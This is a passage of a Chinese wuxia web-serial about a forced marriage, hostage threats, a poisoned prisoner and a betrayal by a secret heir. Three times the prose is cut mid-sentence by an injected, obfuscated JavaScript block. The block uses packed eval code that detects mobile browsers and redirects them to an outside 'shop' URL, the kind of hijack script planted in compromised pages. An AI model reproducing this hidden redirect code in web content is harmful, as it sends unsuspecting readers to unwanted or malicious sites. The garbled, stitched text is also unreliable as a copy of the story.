又是一天清早,魏菘泽刚从魏若琛处回来,伺候的下人看出他脸色不愉,便个个屏息凝神,深怕一个不小心惹恼了主人、断送了性命。 刚刚在魏宅,魏菘泽向魏若琛说起三日后要给他和紫璇举办婚礼的事,本以为会讨儿子的欢心,哪知却惹得魏若琛当场摔了药碗,还说他身为父亲一点儿都不尊重他的意愿。 魏菘泽气极,更觉得委屈,自己所做的一切都是为了让他开心安稳地度过此生,可费了这些力气,儿子非但竟然不买账,竟因为一个外人来指责他。 “你别忘了,是你央求我把她送给你,也是你说想娶她为妻的!你如今怪我,这是哪里来的道理?” 魏菘泽语气越来越重,魏若琛却不为所动,只是重复说道:“可我也已经告诉过你,我现在不想娶了。紫璇别有心爱之人,我不能强迫她。” “方乂安的儿子根本比不上你。要是文家丫头还对他还念念不忘,为父替你杀了他!” “不要!”魏若琛着急发声,竟有些破音,“你杀了他,紫璇只会更不喜欢我,甚至恨我!” “那又如何!”魏菘泽浑不在意,“不过是个女人,恨也好,爱也罢。只要你强过她,她便再也飞不出你的掌心,久而久之就会对你俯首称臣……” “是吗?你对我娘也是如此么?”魏若琛打断他,语调前所未有得冰冷。 魏若琛的母亲一直是父子间微妙的禁忌,魏菘泽从不在儿子面前提起她,魏若琛虽然天真,却也天然地知道要避开这个话题。 魏菘泽的脸一瞬间血色全无,嘴巴扭动了几下,却连一个字都说不出来。一直侍立在侧的温叔担心地觑着他的脸色,实在不知这个时候该如何劝和。 就这样僵持了片刻,魏菘泽愤然起身,指着半倚着靠枕躺在床上的儿子,以不容置疑的口吻道:“婚礼请柬已经发出,三日后各方宾客云集魏家,就是按着你的头你也得把她娶进门。这几日好好吃药,把身子养好!不许再说这些没用的废话!” 之后也不等儿子有任何回应,大步迈出了房门。 “主人,方老爷求见。” 书房外,下人的声音传来,魏菘泽立刻从繁杂的思绪中回过神来,轻轻抬手,让把人请进来。 方乂安进门时,表情灰暗又焦虑,和刚刚的魏菘泽竟莫名相似。只不过此时魏菘泽已经换上了一副淡然面容,指着右手边的一张椅子,示意他坐下。 “方老弟来得正好,我也有事要找你。” 原本揣着一肚子话的方乂安顿时熄火,只好先顺着他的意思,一面落座,一面应道:“不知三爷有何吩咐?” “听闻令郎与圣女交好,想问问你,是否确有其事?” 方乂安这一阵一直待在倪家庄,关于魏若琛将迎娶文紫璇的消息多少听闻了一些。上一回魏若琛突然大发雷霆、着人教训瑾瑜大约就是出于这个缘故,自己也是好不容易才求了魏菘泽开恩准许他去牢中探问儿子的伤势。 魏菘泽再次提及此事,方乂安立刻警觉起来。他担心是因为文紫璇一直拒婚,魏家父子才又要迁怒于瑾瑜。于是,他立马答道:“小儿心思单纯,又一向不踏入江湖,乍然遇到圣女这般江湖女子,难免一时新鲜……” 方乂安越说声音越小,他还不清楚,魏菘泽对瑾瑜和紫璇的关系到底知道多少。若强行为瑾瑜开脱,只怕会让他更加着恼,自己今日来此的目的就又要泡汤了。 “只是一时新鲜?是吗?”魏菘泽果然露出玩味的笑容,方乂安立马噤声。 不过魏菘泽并没有揪着这个话题,话锋一转,又道:“令郎怎么想并不重要。关键是,在圣女心中,令郎的地位如何?” “这……恐怕也不怎么样吧……”方乂安背上开始冒虚汗,说话也变得结巴起来,“否则……否则她也不会在夜闯倪家庄之时,丢下瑾瑜独自逃生……” “哦?那她竟然还会为了令郎步入我的人设下的圈套?” “这……这也只是机缘巧合,她在齐雅雯处养过伤,两人关系不错,齐雅雯失踪,她必然……”方乂安越说越快,也越说越没有方向。 魏菘泽笑了一声,打断他道:“方老弟不必紧张。圣女与令郎关系越好,于我越有利。我不是那等小气之人,不会因为此事就迁怒于他,你不必再替他辩解了。” 方乂安只松了一口气,马上又害怕起来,“关系越好,于他越有利”?这是何意? 气氛足够,魏菘泽也不想再绕圈子,直说道:“三日后我儿迎娶圣女,不容更改。不过这位新娘子却不那么听话,碍于她的体质,我也不好下药来摆布她。只能请令郎出马,帮我去劝一劝圣女。” “这……”方乂安想起上回在牢中和母子俩对话的情景,料想瑾瑜绝不可能答应,故而踌躇住了。 “怎么?不愿意?” “不,不是,”方乂安即刻否定,“我只是担心,那女子性子颇肖文远骥,未必肯听一个旁人的劝告。” “不试试怎么知道,”魏菘泽面带笑容,眼中却并无暖意,“说不准在圣女心目中,令郎的性命安危远比自己的自由和婚事来的重要。” 明晃晃的威胁令方乂安愈发心惊肉跳,瑾瑜的性命安危是否足以让文紫璇牺牲自己,没有人知道,却一定会让他俯首称臣。 看着他惊疑不定的脸色,魏菘泽心中满意极了,以至于适才在儿子那儿受的委屈都被冲淡了一点。 “只要我心愿达成,不仅令郎能重获自由,老弟你也会成为我名正言顺的右护法。”魏菘泽补上最后一句,想为自己的目的再加上一个砝码。 方乂安却不领情:“三爷太抬举了。我武功平平,也非世家名门之后,右护法的位子合该他人来做。只要三爷肯放犬子归家,我宁愿再也不踏入江湖。” 魏菘泽的瞬间冷了脸:“老弟说哪里话?没有人比你更配做我的右护法。你这般推据,如何对得起你故去的父兄和族人呢?” 听到他提起父兄,方乂安脸上立刻血色全无,置于胸前的手也不由自主地发抖。他只能赶忙将其背到后面,再紧紧攥成一个拳头,才勉强维持住了表面上的平静。 “圣女之外,藏宝图不日也会落入我手,门主之位也好、百年秘宝也好,都会是我的囊中之物。”魏菘泽微微一笑,起身走到方乂安身边,盯着他总是躲闪的眼睛:“方老弟,我有今日之成功,方家出力甚多,我要大封有功之人,怎能把你抛下。” “我……”方乂安嗫喏半响,说不出拒绝的话,也没有半点欣喜之意。 魏菘泽定定看了他两眼,然后甩开袖子,边走回上座边厉声呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068171|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥:“方乂安,你别忘了,当年是你们方家玩忽职守,私自放走圣女在前,纵容苏茂霖走脱在后,我能容你活到今日已是仁至义尽。若你还想脱离我去过逍遥日子,就别怪我不念当日同门的情谊,将你和你的儿子赶尽杀绝。” ******************** 去牢房的路上,方乂安始终惶惶不安。他不确定,如果瑾瑜拒绝出面说服紫璇,魏菘泽会不会直接杀了他。 不出他所料,当他将魏菘泽的要求及承诺告诉瑾瑜时,瑾瑜摇头不解,齐雅雯嗤之以鼻。 “方乂安,你还要脸吗?强迫女子嫁人本就伤天害理,更何况她还是瑾瑜的爱人,你让他怎么说得出口!” “只有这样,他才肯放了瑾瑜,连你也能重获自由!”方乂安尽力辩解,“反正婚礼已势在必行,文紫璇逃不掉的,有没有人劝、谁来劝都不会改变最终的结果。瑾瑜不过去说句话,却能换来你们两个人的安全,何乐而不为!” 瑾瑜失望地看向自己爱戴了二十年的父亲:“君子有所为有所不为,其基准不在于所为的结果,而在于当不当为。璇儿要不要嫁是她自己的选择,没有任何人可以干涉。” 他走上两步,隔着牢门和方乂安对视:“而且,爹,你不会想到不到,魏菘泽的意思分明是要拿我和娘的性命来威胁她,让她放弃自己的意愿和幸福。” “那又怎么样?如果不是你们还能有这样的用处,照魏菘泽的性子,就是立时杀了你们都是有可能的!” “那就让他杀,我宁可死,也不会做逼迫璇儿的事情。”瑾瑜昂起头,语气决绝。 “那你娘呢,你忍心为了一个女人看着她就此殒命?!” 瑾瑜不语,可眉心倏地皱紧了。 齐雅雯却冷笑起来:“有趣!明明是你把我诳来,落入了他人的陷阱,怎么说到最后反倒成了儿子要害我。方乂安,我不傻,你休要混淆视听。” 方乂安刚想反驳,话却被她马上怼了回去:“君子之德不是你们男人专属,江湖道义也非武人才守,不乘人之危、不强人所难是做人的根本,你方乂安贪生怕死、助纣为虐,我可不怕。让我为了自己的私利就强迫一个女子嫁给一个企图害她的人,我不干。” “爹,我是真心喜欢她、爱她。不能助她解脱困境,已经让我痛恨自己了,若还为了自己能够活命就与她的敌人狼狈为奸,将她推入火坑,那我这份爱意不就成了天底下最大的笑话?”瑾瑜言语真切,话说到一半就已经湿了眼眶。 “你同样也有过心爱之人,若你和瑾瑜异地处之,你果真也会向你说得那样为了自己活下来,就将她推出去吗?”齐雅雯轻轻叹了一声,跟在瑾瑜后面道,“方乂安,如果你是这样懦弱无德之人,那我可真要后悔当年瞧上了你。” “好好好,你们清高、你们大义!”方乂安突然大叫,齐雅雯不免吃了一惊,这可是她第一次见方乂安如此失态。 “我胆小懦弱,和恶人沆瀣一气,行了吧!”方乂安急得在原地转了好几个圈子,这才又指着瑾瑜的鼻子,纠结再三,挤出了最后一句话:“那咱们三日就一起等死吧!” 巨大的声音充斥牢房,瑾瑜和齐雅雯一同哑火,而方乂安也在吼完最后一个字后跌坐在了地上,双眼茫然,气力尽失。 181. 心语 平日里这个时辰,魏若琛都会把伺候的下人赶得远远的,只让紫璇陪着他在花园中散步。活动一段时间后,他就会找个好地方坐下来,晒着太阳欣赏紫璇练剑,享受和她独处的时光。 今日亦是个大晴天,下人和守卫们照例围在花园四处不显眼的位置。可本该起身的魏若琛仍瘫坐在靠椅上,紫璇的剑也没有出鞘,两人就这样相顾无言了很长一段时间。 就在刚刚,魏若琛将三日后魏菘泽要大宴宾客,让二人成婚的消息告诉了紫璇。紫璇意识到,魏菘泽的计划亦在有条不紊地推行,而这所谓“婚礼”恐怕并不只是一场为了讨好儿子而排演的戏码。 “对不起。”魏若琛率先打破沉默。 紫璇摇头,正在盘算自己这一边有多大把握能在三日内救出王三山。 “对不起,是我害了你。都怪我任性胡言,说什么非你不娶。我爹才认了真,说什么也要帮我完成心愿……” 他见紫璇还是不语,忍不住推着椅下的轮子靠近紫璇,话也说得愈发着急:“都是我不好,从一开始我就不该起邪念,想把你据为己有……我爹……我没有多少日子了,他才会想方设法地满足我的要求……如果不是我任性使气,就不会有这些事情,你也不会被困在这里不得自由。你要是不开心,就骂我、打我,打得越疼越好……” 急促到略有些尖锐的语调终于将紫璇从纷杂的思绪中拉了出来,她立马扯住魏菘泽想要捶打自己胸膛的手,轻声道: “别这样,当心伤到自己。” “你……还关心我,你不讨厌我、不恨我吗?” 魏若琛委屈又带有愧意的眼眸竟然带出了紫璇的一丝笑意:“为什么要恨你?恨你就能解决眼下的局面吗?” “可是……” “你会逼我做你的妻子吗?” “当然不会!” “那不就行了。”紫璇语调轻松,嘴角却有些紧绷,她还在算,“最坏的结果不过是你爹逼着我俩拜堂,对我并没有实质性的伤害……” 说到这儿,紫璇停了下来,目光也飘向远处。 这样的她魏若琛并不陌生。去年夏天,在他这儿养了几天病、身体刚有起色的紫璇也是如此,嘴上和他说着话,眼睛却一直看向别处。他明白,她在思考要如何逃出这座牢笼。酸涩随即从心底渗出,勾起他压抑了大半日的委屈伤感,一起化作汹涌的泪水,从眼角冒了出来。 这不是他第一次当着紫璇的面哭,但绝对是最激烈的一次。紫璇有些惊诧,不知道自己的哪句话惹得他如此,只好无措地站在原地。 或许是意识到自己哭得莫名其妙,又或许是仅靠眼泪仍无法全然宣泄他积压已久的情绪,魏若琛开始断断续续地倾诉,每句话都和魏菘泽有关。 “无论多少大夫告诉他我时日无多,他都浑不在意,只会不知疲倦地到处去寻医问药,我怎么求他都不愿意在最后这段时间陪陪我……“ “只要我一闹,他就发脾气。告诉我他所作的一切都是为了我好……呵……他都不肯认真地听一听我真正想要的是什么,凭什么觉得他做得事就一定是对我好的呢?” “他还是不能接受我可能活不到明年的事实,每当我提醒他我很快就要死了,他再不陪我就没机会了,他也只是否认……还非说等有朝一日我病好了,看着我生儿育女、与我共享天伦要比呆在我的病榻边束手无策强上百倍……” “他总爱说将来,永远都是以后、未来、等我好了……他总是在计划、总是匆匆地来又匆匆地走,四处奔波、想方设法为我续命,可我想要的从来都不是活得有多长,而是每天有人能陪我一起吃饭、说话、看看风景……我明明已经没有多少时间了……” 他对父亲的抱怨似曾相识,但如今的紫璇已经颇能释然。相比于魏若琛,自己的身体还好,死期遥远,文远骥也不算强势,自己想做什么基本都能随心所欲。贺新韵说得没错,她的确有些身在福中不知福。 尽数吐出胸中郁闷之后,魏若琛的泪意并未消减,反而再度大哭。紫璇仍不知道该如何安慰一个难过痛哭之人,只好学着瑾瑜安慰她的样子,半蹲下来,虚虚圈主魏若琛,让他可以靠着自己。 魏若琛不自觉地贪恋起她的温度,头越靠越近,最后几乎是抵在了紫璇的肩膀上。紫璇未做他想,只是一下又一下地轻轻拍打着他的后背,像一个母亲在安抚受惊的婴孩。 这一幕,恰好落入了瑾瑜眼中。他被人押解往紫璇的住处,正好于此时走入花园。他听不到此间的声音,只能看见他们交颈依偎的模样,呼吸不由自主地滞了一瞬,然后本能地将头转向了另一边。 看守带着人刚一入内,候在暗处的下人立刻现身问询,引起了紫璇的注意。她随即瞥见瑾瑜,拍打魏若琛的手立刻停下。魏若琛感受到变化,抬头发觉她的眼神不对,随之回首,在看到瑾瑜的瞬间也愣住了。他马上转过来,背着身子擦干眼泪,再去看紫璇时,她已经在招手叫人了。 紫璇吩咐人送魏若琛回去。魏若琛又偷偷冲着正朝这边走来的瑾瑜瞅了几眼,没有拒绝。他的身影刚刚离去,瑾瑜就被押送到了紫璇面前。 紫璇用眼神向两个看守发出疑问,其中之一道:“文姑娘,方公子想见你,特地求了主人。大婚在即,主人不欲多结怨怼,愿意给他半个时辰。” 紫璇毫无波澜,只是说:“有劳了。人我带走,你们可以去交差了。” 她拉住瑾瑜的一只胳膊,转身准备抬脚,看守脚步一转,飞快挡在她前面:“人还是我们送过去比较稳妥。” 紫璇斜了斜嘴角:“满园子都是护卫,你难道还怕他跑了不成?” “还是小心些,对姑娘你和我们都好。” 看守姿态虽然恭敬,眼神中却满含威胁。现在还不是挑衅的时候,紫璇无奈让开些许,让看守们带着瑾瑜先行,自己则默默地跟在后面。 又到了上回二人见面的那一间三面带窗的轩室,看守很识趣,把人留下后马上离开。但紫璇清楚,他们只是隐没在了看不到的位置而已。 距离上次互诉衷肠又过去了一个来月,瑾瑜的衣衫变得破旧宽大,脸灰扑扑的。又因为牢中诸事不便,下巴上的胡茬也此起彼伏,和往日里总是清爽干净的他大相径庭。 紫璇喊来值守的婢女,请她帮忙取梳洗剃须的物品来。婢女走后,她便关闭了门窗。 从刚才到现在,瑾瑜一言不发,只是不时看几眼紫璇,然后便很快收敛住视线。这样别扭的气氛仿佛回到了南阳,瑾瑜找到紫璇后的那些日子。 紫璇将他带至桌边坐下,瞧着他躲闪的眼睛,无措中大胆地问了句:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085040|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……生气了?” “我……没有,我没有那么小气。”瑾瑜努力维持着平日里说话的语调,但好像不太成功,因为紫璇下一句便开始解释: “刚刚……魏若琛说起伤心事,哭了鼻子,我是为了安慰他,才和他靠得比较近。” 这让瑾瑜更加窘迫,他马上道:“我可没有吃醋……我……” 紫璇却天真发问:“吃醋?什么意思?”随即反应过来,“吃错”应该就是他刚刚的那种状态,不禁抿嘴一笑,“嘴硬。” 瑾瑜不再辩解,而是卸下一口气,也含了无奈的笑道:“看来我也没那么大度。” 对上紫璇探究的眼神,他进一步说:“即便知道你不会这么快移情别恋,可看看到你和他关系那么亲近,我还是……还是不舒服。对不起。” “为什么要说对不起?” “嫉妒心和想独霸着你的心思,不好。” “我和师兄为了爹爹的一句夸奖都会暗自较劲,何况是为了喜欢的人。你这样,我反倒觉得高兴。” 紫璇的眼睛亮晶晶的,瑾瑜的目光再也不想离开,他望着她,从眼睛到嘴角,全都盛满了笑意。 婢女敲门,端来了盛满水的脸盆、手巾、肥皂*、剪子、剃刀**等物。紫璇告诉她们不用伺候,将人支走后,亲自拿起剃刀,要帮瑾瑜修面。 瑾瑜想自己来,紫璇不让,只许他乖乖坐着。他摸着毛渣渣的下巴,还有些不好意思。可紫璇却一丝不苟地沾湿了手巾,先在他下巴上敷了一会儿,继而认真涂上肥皂,再用剃刀一点一点将青色小心刮去。 紫璇靠得极近,瑾瑜的两条臂膀下意识地拦住她的腰,却一动也不敢动,僵硬到了极致。口鼻中全是紫璇的气息,眼前一寸处便是她的眼睛、鼻子还有那颗红如樱桃的嘴巴。 他的眼睛不受控制地总想往下看,然后在瞥见那一抹嫣红之后又飞快地移开,紧跟着便是难以抑制的砰砰心跳和需要努力下咽的口水。他的手捏成了拳头,也还是不能抵御心中一阵阵泛起的绮念。 紫璇正集中攻略他下巴尖上的胡茬,瞥到他下降又升起的喉结,还以为自己弄疼了他,忙抬起头,不想却对上了瑾瑜此刻深沉如海般的眼眸。 紫璇立刻嗅到了自他身上散发出来的侵略气息,随即下意识退开,转过身子,不再敢看瑾瑜的眼睛。瑾瑜这才如梦初醒,尴尬起身,从她手中拿过剃刀:“我……自己来。” 等他照着铜镜收拾停当,洗干净脸再次去看紫璇时,紫璇还尬尴地站在原地,一动都未曾动过。她的脸上沾染了些许肥皂,少见的俏皮,瑾瑜笑了笑,拿过一条新的手巾,泅湿了再拧干,轻柔地给她擦着脸。 紫璇回过神来,像刚刚瑾瑜看她那样也看着他。被关了这些日子,比之南阳重逢,瑾瑜又瘦了许多,脸上的棱角更加分明,举手投足间也越发成熟。 “好了。”瑾瑜擦完,还不自觉地在她脸上婆娑了两下,紫璇心中一荡,下一瞬手已经攀上他的衣襟,将人扯到了自己面前。 直到瑾瑜嘴唇微凉柔软的触感传来,她才意识到自己做了什么。然而已经迟了,她刚想离开,瑾瑜便追了上来,一只手揽在她的后腰,另一只手则扶住她的后脑勺动情地吻着,似乎只有这样才足以诉说这么长时间的思念、担心、愧疚还有那一点点不甘。 182. 突变 “如果可以,我希望嫁的是你。” 两人分开时,紫璇趴在他肩上,幽幽地道。 “那就不要嫁,不要妥协。”瑾瑜将人紧紧搂着,心中甜蜜又不舍。 紫璇深吸了一口气,目光也转为冷峻:“我没有抗争的余地。魏菘泽肯把你送来见我,不就是为了提醒我你和齐姨的性命还被他捏在手上吗?” 瑾瑜终于明白过来,魏崧泽从不指望他劝说紫璇,因为即便他什么都不说,单单站在这里就足以起到威胁紫璇的目的。 “不,不要为了任何人妥协!娘和我都不愿意看到你被迫嫁给一个不喜欢的人!”但瑾瑜还是不甘心,把刚刚向方乂安说过的话又说了一遍。 紫璇摇着头,从他的怀抱中挣脱出来。 “逃吧,不要管我们,只要你想办法逃出去……”瑾瑜着急道。 紫璇一把攥住他的手,以无比镇静的口吻说道:“这里守卫众多,个个都是高手,要逃出去没有你想得那么容易。” “不是还有……” 在瑾瑜说漏嘴之前,紫璇猛地捏了一下他的手心,继而用眼神提醒他。 瑾瑜这才住了嘴,然后听她说道:“对不起,时过境迁,没想到再一次与你一同身陷囹圄,我却还是无法救你。” 紫璇口中说着惋惜之语,眼中却闪着坚定和睿智的光,似乎别有深意,瑾瑜顺着她的话想到去岁陷于倪家庄时的情形,突然有些明白了紫璇的意思。 紫璇再次捏了捏他的手心,一个纸包被塞了进来,他还来不及询问,门外就响起了敲门声。 紫璇最后深深看了一眼瑾瑜,然后离开他,站了起来。 “进。” 押送他的看守推门进来:“文姑娘,时间已到,方公子得走了。” 紫璇似乎很是不舍:“半个时辰这么快就过去了?”然后挥手,“我知道了,你们带他走吧。” 看守却没有动,而是看向更里侧的瑾瑜,问:“不知主人交代给方公子的任务完成得如何了?” “你们休想拿我来要挟她!”瑾瑜负手而立,看都不看他们一眼。 看守呵呵冷笑:“这么说,方公子是不愿意执行主人的命令了?” “是又如何?” “那就别怪我们不客气。” 话音未落,看守之一已然扑了上来。紫璇脚步一滑,试图挡在瑾瑜身前,却被另一名看守斜刺里冲出拦住去路。 瑾瑜只和看守对了两招就败下阵来,那人得手后立即掰开他的下巴,将一包药粉倒进去,继而点他咽下廉泉穴。瑾瑜大咳两声,已然将药粉尽数咽了下去。 “你们给他吃的什么?”紫璇虽正和另一名看守拆招,却并未落下这边发生的事。药一落入瑾瑜之口,她便惊叫出声。 下药那人嘿嘿一笑:“此物名为‘噬魂散’,是我家主人的新武器。凡是吃下此药的人都会乖乖听从主人的吩咐。不过,方公子的父亲是我们主人的朋友,主人本不想结怨,只要三日后姑娘与我家少爷成婚,他便能得到解药。如若不然,姑娘就等着给他收尸吧。” ******************* 五日前,文远骥收到贺家庄来信,告诉他贺家庄已确定魏菘泽老巢所在,许淑平会带着人直接赶赴无锡,让文远骥也立刻启程,与她回合。 文远骥岂敢耽搁半分,当天便带着一队人一路奔袭东来,不眠不休行了三日,这才于昨天擦黑时分到达金陵以北的六合县。连日赶路,马匹尚有替换,人却再难支持。文远骥再着急也需从容计较,便吩咐在原地休整一晚,顺便再换一批新的坐骑。杜彦成与此地马行相熟,便承应了此事,赶在吃饭前就已将马匹置换妥当。 此番营救,紫瑛担心紫璇的安慰,断不肯在太白山上坐等,便央求父亲一同前来。杜彦成自觉担当起一行人的后勤保障,马匹、线路等等杂事都被他接手。就连歇宿的客栈,也是他先一步入城谈妥,再来接应的。 众人一晚好眠,并无余话。第二日清晨出发,继续向南。 也不知是不是早起吃坏了东西,刚刚走到一片野树林中,紫瑛便感到肚痛。可想到紫璇尚在危难之中,她不愿文远骥分心,便强忍着不适继续前进。后来渐渐痛不可支,额头上渗出斗大的汗珠。上半身在马上也渐渐有些委顿。 杜彦成瞧出不对,立刻打马上前询问。他的举动也引起了文远骥的瞩目,众人关心之下,紫瑛这才道出实情。 即便心急如焚,文远骥也还是先让所有人停下,想亲自去看一看紫瑛的情况。可当他拉住缰绳想要下马时,腿猛地一软,跪坐在了地上。再想挣扎起身,才发现自己根本拿不出力气。勉强转头去看其余几人,他们也纷纷蹲在地上,试图挣扎却无法起来。 紫瑛自然注意到了这番诡异的情形,顾不上阵阵抽痛的肚腹,旋即要下马去看文远骥究竟是怎么了。但下一刻身子却被杜彦成按住,不知何时他已经翻上了她的马背,声音自耳后传来:“你去也没用,他们中了毒,起不来的。” 紫瑛猛地回头,全然不解杜彦成的话从何而来,可在看到他冷漠又得意的眼神后愣住了。 杜彦成微微一笑,先伸出一只胳膊,朝空中放出一支响箭。继而从袖中取出一粒丸药,从她的身后扣住她的喉咙,将药逼入了她的口中。 紫瑛受惊,即便头脑一片混沌也还是本能地想要挣脱束缚。杜彦成却双手向下,如往日一般圈住她:“别怕,这是解药,稍等一会儿,你的肚子就不疼了。” 也不知道是他的药立时发挥了作用,还是此刻的害怕惶恐掩盖了原本尖锐的痛楚,此时此刻紫瑛一点也感受不到肚子疼。她只是茫然盯着魏若琛,仿佛第一次认识他,又仿佛希望他能赶快解释一下眼下发生的事情。 却看到他呵呵一笑,还宠溺地刮了一下她的鼻子:“怎么傻了?文远骥如此偏心,只知道另一个女儿,永远不在意你,我帮你收拾他好不好?” 这般亲昵的举止、温柔的语调都是过去两三个月来紫瑛听惯了且甘之如饴的,却再此刻全然变了意味,令她毛骨悚然。 几乎是出自本能,她立刻屈起手臂,想把杜彦成推得越远越好。她的反抗引起了杜彦成的不满,他擒住紫瑛的两只手,将它们猛地往下拉扯,紧紧箍向她两侧,紫瑛全身受制,毫无还手之力。 杜彦成语调未改,温柔似往常:“听话,我不会伤害你的。” 与此同时,树林深处钻出二十来人和两辆马车,纷纷聚到他马下,下拜行礼,齐呼“少主”。 慌乱与愤慨之中,紫瑛蓦然想起,把她和杜彦成掳走的人也自称是“少主”的属下,而且……少主不是已经被紫璇和江珺翊等人合力杀死了么?杜彦成怎么会是这个所谓的“少主”呢? 她的思绪如同陷入泥潭的双脚,越是用力挣扎陷得越深,最后终于没入一片黑暗。 “你到底是谁?” 文远骥虽全身脱力,头脑却很清明,隔着乌泱泱下跪的诸人向杜彦成喊话。 杜彦成这才看向已成为阶下囚的他,满脸得色:“若放在二十年前,我或许该叫你一声‘大师伯’。” “你是魏菘泽的儿子?” “没错,杜是我母亲的姓氏,我的真名应该叫魏彦成。” “你故意接近我女儿,就是为了骗取我的信任,好将我带入你的瓮中?” 魏彦成黑了脸,身子也不自然地扭动了一下。他不再理会文远骥,而是吩咐手下起来,自己则带着已然晕厥的紫瑛下了马。 他将紫瑛抱到其中一辆马车上,叫来属下之一:“好生送到金陵,一应供给侍奉如前,等我回来。” 紫瑛被带离之后,魏彦成才信步走到文远骥身前,居高临下地瞧着他:“对你来说,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093320|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个女儿更加紧要一些么?我带你去见她。” ******************* 早在许淑平和谭修明带人离开贺家庄的第二天,卢金良就上门,从贺新韵手中抢走了藏宝图。 卢金良是一个人来的,孙博将他引到书房,贺新韵得到消息,早早等在里面。 “我想先确认藏宝图。”在贺新韵开口之前,卢金良率先提出了自己来此的目的。 贺新韵点头,让孙博守住书房门,千万不要放任何人进来。继而行至书案之后的一排书架,将最底下一层上堆放的陈旧纸张扫到一边,又把内侧的一块木板取了下来,里面便立马露出一个小小的扳手。 贺新韵将扳手握在手中向下用力一扳,书架正中便凭空产生一道裂缝。书架向两侧滑行,裂缝越来越宽,直到中间能够容许一个人通过才堪堪停下。 贺新韵消失在缝隙中,卢金良也急忙跟上。两人一进去,密室入口便合上了。 暗室之中又有一排木架,其上除了一些信件书册外还有许多大大小小的盒子。架前一张书桌,桌上摆着笔墨纸砚和灯盏等物。卢金良还在环顾这间密室的构造,贺新韵已经直奔木架,从上面取来了一方手掌大小的锦盒。 “这就是藏宝图?”望着贺新韵手中之物,卢金良眼珠子发光,音调也变高了。 “当然。这世间只有我知道我爹把它藏在了哪儿,也只有我知道密室如何打开。” “快打开来看看。”卢金良说着便要拿过那只锦盒。 贺新韵眼疾手快,将锦盒转移到另一只手上,退开几步。 “那可不行,你嘴上说得好听,可万一你要抢怎么办?我还指着这个筹码与你的主人做交易呢,怎么可能轻易地把它给你。” 卢金良眯起眼睛:“不信任我?” “哈哈哈,你可是三番五次想杀了我的人,要是还敢相信你,我不就成了大傻子了?” 她见卢金良暗暗变换姿势,似乎想要出招,便又道,“卢叔叔,我劝你还是不要轻举妄动。只要你稍稍离得我近一些,我便会将这锦盒中的藏宝图撕毁,你不让我好过,我也不会让你好过。” 说罢,她立刻打开锦盒,从中取出一张叠起来的纸,两只手各执一端,作势要撕。从纸背透出来的字迹看,上门的确有山川图形和若干小字。 卢金良立刻撤回脚步,陪笑道:“莫急莫急,我答应与你交易,自然会信守承诺。既然已确认藏宝图的确在你手上,我便立刻通知我的上封,他会设法绊住许淑平,让她无法再插手贺家庄的事。” “除掉了许淑平,还有文远骥。”贺新韵提醒他。 “对对,还有文远骥。我家主人会将他们一并铲除,你不用担心。” 贺新韵这才大大地松了一口气,看了眼密室入口处:“太好了,那我们出去吧。” 她走在前面,先去打开机关。等缝隙露出,她即刻迈步,却在刚刚踏出密室之时,一道黑影闪过,手上的藏宝图不翼而飞。 贺新韵心脏骤紧,即刻向那黑影看去。 贺新塬!!! 与此同时,书房里也不复刚才空荡荡的景象,而是充满了曹家堡的人。 贺新韵先看了一眼站在曹家堡众人之后的孙博,斥道:“不是让你别放任何人进来吗?” 孙博没有答话,反而是贺新塬大笑两声:“我的好姐姐,你可真够天真的!” “什么意思?” 贺新塬冷笑一声,将藏宝图双手奉于从她后面走出来的卢金良:“藏宝图已到手,请卢堡主验看。” 卢金良意气洋洋:“好啊,藏宝图到手,你居功至伟。我向主人回禀时,一定替你美言几句,他老人家一定不会亏待你的!” “多谢主人赏识,多谢卢堡主美意!” 二人一唱一和,显然早已狼狈为奸。 183. 逃婚 经过接连数日紧锣密鼓的准备,魏宅之中满目喜庆,各处帐幔以红色为主,与暮春开放的各色花卉相映成辉,房檐屋角也全换上了簇新的灯笼,外面绘着吉祥图案,内置红烛。 然而,除开这些热闹的装扮,宅中之人并无多少欢喜之意。魏若琛每日都要发脾气,紫璇则面若冰霜,除了大夫谁都不见。 下人们脚步匆匆,照着温叔的吩咐整治婚礼当日要用的各样物品。魏家父子俩置气,魏菘泽顾及儿子身体不敢发火,这些火气基本上都让手下人承受了,这个当口谁都不敢出一丁点儿差错。 魏菘泽蛰伏多年,但武林中的旧识不少,和一些曾被苏明启收服、纳入天魄门麾下的江湖人尤其交好。他们都知道魏菘泽不服文远骥接替苏明启坐上了天魄门的门主之位,双方因此内斗,两股势力泾渭分明。没想到时隔多年,魏菘泽的儿子竟要迎娶文远骥的女儿,如若两家结为秦晋之好,岂不意味着强强联手,天魄门将再度崛起? 